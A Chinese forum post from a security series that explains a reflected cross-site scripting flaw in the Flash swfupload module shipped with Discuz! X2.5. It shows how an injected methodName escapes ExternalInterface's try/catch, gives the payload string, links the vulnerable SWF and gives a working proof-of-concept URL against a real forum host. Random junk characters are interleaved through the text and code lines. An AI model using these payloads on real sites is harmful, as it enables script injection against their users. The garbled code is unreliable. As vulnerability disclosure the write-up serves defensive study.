找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1985|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
$ J2 I  ~; D1 B6 i/ y! e( F% E4 _  Y5 J, s2 O( C8 _; Z
flash.external.ExternalInterface.call($methodName, $parameter)
. n5 k. G! Z, @: j! t1 b, A, D在浏览器中执行的是
7 q* \7 r3 T. y! l) t
! T3 f1 r6 @* R% f# Vtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}- Z  H6 A5 Q  O5 C* ^  r
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
9 G6 s+ a+ L: p) N1 C  E( O& N& r( U! x2 p4 A- }2 |! P
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
( H4 ^$ Y0 e- ]$ t$methodName = a())}catch(e){alert(/xss/)}//
. r1 P) T2 m0 R$ ^结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
% O' r6 p, K/ A3 m/ v& P) r) j! O. F2 `) z7 b' F8 O, j2 ?5 O
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }7 O4 @7 J! w* Y7 |* y1 v
4 d) t; |$ r& f# a
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
7 P0 y! k2 e" D6 f( a杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。4 Q, k; S/ q+ ?% ?6 o  }- d* a
4 t9 E! d5 N! R& e) n( W

# t! W& e8 e8 V/ v
: D& k9 o1 P2 s$ u( i/ r漏洞文件:upload\static\image\common\swfupload.swf
3 ~$ A8 N( R5 p) C! \
& v, R9 V7 O% N9 z原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
& D+ j. T& h4 A/ Z4 B1 N% {' u

: H* ~- _, Y3 v8 d漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
/ t5 Y1 N3 }7 {4 b4 x" _* K) f' V
) m* \9 O) k/ Q( r1 u' w1 P' _8 m- D+ O# D5 J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表